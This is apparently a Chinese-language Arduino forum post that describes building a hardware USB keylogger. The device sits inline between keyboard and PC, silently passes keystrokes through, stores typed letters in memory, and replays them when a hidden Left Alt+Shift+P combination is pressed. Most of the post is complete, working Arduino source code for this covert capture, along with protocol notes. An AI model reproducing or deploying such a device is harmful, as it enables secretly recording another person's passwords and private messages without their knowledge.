剛開始玩Arduino 的時候,我嘗試試驗過一個 PS2鍵盤記錄器:將PS2線剝開,接入Arduino Uno。通過分析PS2協議,鍵盤上按鍵隨時會被記錄在Arduino的EEPROM中【參考1】。
091551a66wslls68s8wsfc.jpg (472.88 KB, 下載次數: 100)
下載附件
2017-3-11 22:06 上傳
完成之后,我就在思考是否有能記錄USB鍵盤的方法。Arduino 本身使用的主控芯片只有16Mhz,作為USBLow Speed設備發送已經力不從心,更不要說直接對USB 信號采樣。后來偶然的機會接觸到了 Arduino USB Host Shield,發現這個Shield 作為 USBHost具有解析USB協議的能力,可以控制USB設備,解析USBKeyboard/Mouse 更是不在話下。 抓到了USB 鍵盤的數據,下面的問題就是如何發送出去。最傳統的方法是直接用 ArduinoLeonardo 這樣帶有USB控制器的板子,但是經過考察,這個型號的SPI部分引腳與Uno差別很大,導致無法直接使用(后面我還會介紹為什么有差別,以及如何解決)。最終找到可以將Uno模擬為USBKeyboard的方法:將Uno上面的Usb轉串口芯片代碼替換為特殊的Firmware【參考2】,從PC端看去是一個USB Keyboard設備。這個方法的優點是百分百兼容USB Host Shield,缺點是無法直接使用IDE下載,必須用USBISP 之類的設備刷寫Uno上的328P 芯片。具體操作可以在【參考3】看到。 最終方案如下: 第一步,使用 USB Host Shield將鍵盤切換到 Boot Protocol 模式,這樣保證所有的USB鍵盤按照統一的格式輸出按鍵信息; 第二步,Arduino 解析USB鍵盤的按鍵信息,解析之后直接存儲到內存中; 第三步,接收到特定的組合鍵后,將USB 鍵盤的按鍵信息從Atmel16u2發出去 整個過程對于PC也是透明的。 下面是USB HID Keyboard Boot Protocol 使用的格式,上面提到的解析過程和最后的再次發送的過程都會遵循該格式。 位置
Modifier keys:
Bit 0 – 左 CTRL
Bit 1 - 左 SHIFT
Bit 2 - 左 ALT
Bit 3 - 左 GUI
Bit 4 – 右 CTRL
Bit 5 - 右 SHIFT
Bit 6 - 右 ALT
Bit 7 - 右 GUI
HID協議定義的鍵值。 這里有6個bytes,可以同時容納6個按鍵
例如: 直接按下 左 Ctrl ,Usb Host Shield 將會解析出 01 00 0000 00 00 00 00,抬起后還會解析出0000 00 00 00 00 00 00。 分別按下 左 Alt 左 Shift 和 P 鍵后,UsbHost Shield 將會解析出06 00 13 00 00 00 00 00 ,抬起后還會輸出出0000 00 00 00 00 00 00。我們會將這個組合鍵作為輸出記錄值的觸發條件。
- /* MAX3421E USB Host controller LCD/keyboard demonstration */
- //#include
- #include "Max3421e.h"
- #include "Usb.h"
- /* keyboard data taken from configuration descriptor */
- #define KBD_ADDR 1
- #define KBD_EP 1
- #define KBD_IF 0
- #define EP_MAXPKTSIZE 8
- #define EP_POLL 0x0a
- #define RECORDBUFSIZE 60
- /**/
- /* "Sticky keys */
- #define CAPSLOCK (0x39)
- #define NUMLOCK (0x53)
- #define SCROLLLOCK (0x47)
- /* Sticky keys output report bitmasks */
- #define bmNUMLOCK 0x01
- #define bmCAPSLOCK 0x02
- #define bmSCROLLLOCK 0x04
- /**/
- EP_RECORD ep_record[ 2 ]; //endpoint record structure for the keyboard
- char buf[ 8 ] = { 0 }; //keyboard buffer
- char old_buf[ 8 ] = { 0 }; //last poll
- /* Sticky key state */
- bool numLock = false;
- bool capsLock = false;
- bool scrollLock = false;
- int addr = 0;
- char p = 0;
- char KeyRecord[RECORDBUFSIZE];
- bool OutputMark = false;
- MAX3421E Max;
- USB Usb;
- void setup() {
- Serial.begin( 9600 );
- //Serial.println("Start");
- Max.powerOn();
- delay( 200 );
- for (int i = 0; i < RECORDBUFSIZE; i++)
- {
- KeyRecord[i] = 0x1D; //Init with 'z'
- }
- }
- void loop() {
- Max.Task();
- Usb.Task();
- if ( Usb.getUsbTaskState() == USB_STATE_CONFIGURING ) { //wait for addressing state
- kbd_init();
- Usb.setUsbTaskState( USB_STATE_RUNNING );
- }
- if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { //poll the keyboard
- kbd_poll();
- }
- if (OutputMark) {
- //Send all data to 16U2
- for (int i = 0; i < RECORDBUFSIZE; i++) {
- //Send all data to 16u2
- Serial.write(0); //Byte 0 == 0
- Serial.write(0); //Byte 1 == 0
- Serial.write(KeyRecord[i]); //Byte 2
- Serial.write(0); //Byte 3
- Serial.write(0); //Byte 4
- Serial.write(0); //Byte 5
- Serial.write(0); //Byte 6
- Serial.write(0); //Byte 7
- Serial.write(0); //Byte 0
- Serial.write(0); //Byte 1
- Serial.write(0); //Byte 2
- Serial.write(0); //Byte 3
- Serial.write(0); //Byte 4
- Serial.write(0); //Byte 5
- Serial.write(0); //Byte 6
- Serial.write(0); //Byte 7
- }
- OutputMark = false;
- }
- }
- /* Initialize keyboard */
- void kbd_init( void )
- {
- byte rcode = 0; //return code
- /**/
- /* Initialize data structures */
- ep_record[ 0 ] = *( Usb.getDevTableEntry( 0, 0 )); //copy endpoint 0 parameters
- ep_record[ 1 ].MaxPktSize = EP_MAXPKTSIZE;
- ep_record[ 1 ].Interval = EP_POLL;
- ep_record[ 1 ].sndToggle = bmSNDTOG0;
- ep_record[ 1 ].rcvToggle = bmRCVTOG0;
- Usb.setDevTableEntry( 1, ep_record ); //plug kbd.endpoint parameters to devtable
- /* Configure device */
- rcode = Usb.setConf( KBD_ADDR, 0, 1 );
- if ( rcode ) {
- //Serial.print("Error attempting to configure keyboard. Return code :");
- //Serial.println( rcode, HEX );
- while (1); //stop
- }
- /* Set boot protocol */
- rcode = Usb.setProto( KBD_ADDR, 0, 0, 0 );
- if ( rcode ) {
- //Serial.print("Error attempting to configure boot protocol. Return code :");
- //Serial.println( rcode, HEX );
- while ( 1 ); //stop
- }
- delay(2000);
- //Serial.println("Keyboard initialized");
- }
- /* Poll keyboard and print result */
- /* buffer starts at position 2, 0 is modifier key state and 1 is irrelevant */
- void kbd_poll( void )
- {
- byte i;
- static char leds = 0;
- byte rcode = 0; //return code
- /* poll keyboard */
- rcode = Usb.inTransfer( KBD_ADDR, KBD_EP, 8, buf );
- if ( rcode != 0 ) {
- return;
- }//if ( rcode..
- i = 0;
- while (i < 8) {
- if (old_buf[i] != buf[i]) {
- i = 0xff;
- break;
- }
- i++;
- }
- if (i == 0xff) { //if new key
- switch ( buf[ 0 ] ) {
- case CAPSLOCK:
- capsLock = ! capsLock;
- leds = ( capsLock ) ? leds |= bmCAPSLOCK : leds &= ~bmCAPSLOCK; // set or clear bit 1 of LED report byte
- break;
- case NUMLOCK:
- numLock = ! numLock;
- leds = ( numLock ) ? leds |= bmNUMLOCK : leds &= ~bmNUMLOCK; // set or clear bit 0 of LED report byte
- break;
- case SCROLLLOCK:
- scrollLock = ! scrollLock;
- leds = ( scrollLock ) ? leds |= bmSCROLLLOCK : leds &= ~bmSCROLLLOCK; // set or clear bit 2 of LED report byte
- break;
- default:
- //By pass all data to 16u2
- Serial.write(buf,8);
- //Save the keyvalue to memory
- for (i = 2; i < 8; i++) {
- if ((buf[i] >= 4) && (buf[i] <= 27)) {
- KeyRecord[p] = buf[i];
- p = (p + 1) % RECORDBUFSIZE;
- }
- }
- //If we get 'Output command', we will output all the data in eeprom
- if ((buf[0] == 0x06) && (buf[2] == 0x13) && (buf[3] == 0x00)) {
- OutputMark = true;
- }
- break;
- }//switch( buf[ i ...
- rcode = Usb.setReport( KBD_ADDR, 0, 1, KBD_IF, 0x02, 0, &leds );
- if ( rcode ) {
- //Serial.print("Set report error: ");
- //Serial.println( rcode, HEX );
- }//if( rcode ...
- for ( i = 0; i < 8; i++ ) { //copy new buffer to old
- old_buf[ i ] = buf[ i ];
- }
- }//if (i==0xff) { //if new key
- }
- /* compare byte against bytes in old buffer */
- bool buf_compare( byte data )
- {
- char i;
- for ( i = 0; i < 8; i++ ) {
- if ( old_buf[ i ] == data ) {
- return ( true );
- }
- }
- return ( false );
- }
復制代碼
上面的程序架構和之前的USB鍵盤轉藍牙鍵盤的架構是一樣的,具體的設計有興趣的讀者可以在【參考5】看到。 對于按鍵的記錄是這樣的:如果發現解析出來的按鍵信息Byte2-7 不為零才主動存儲在內容中,進行循環覆蓋。當檢測到有左 Alt+Shift+P 按下時,將存儲在內存中的鍵值從USB口再次輸出,此時在PC端打開一個記事本工具即可看到內容。本文主要目標是演示思路,所以這部分代碼并沒有優化,實用性方面較差。
091615hacz1umazqmp4wmp.jpg (231.1 KB, 下載次數: 96)
下載附件
2017-3-11 22:06 上傳
0.png (65.83 KB, 下載次數: 100)
下載附件
2017-3-11 22:06 上傳
|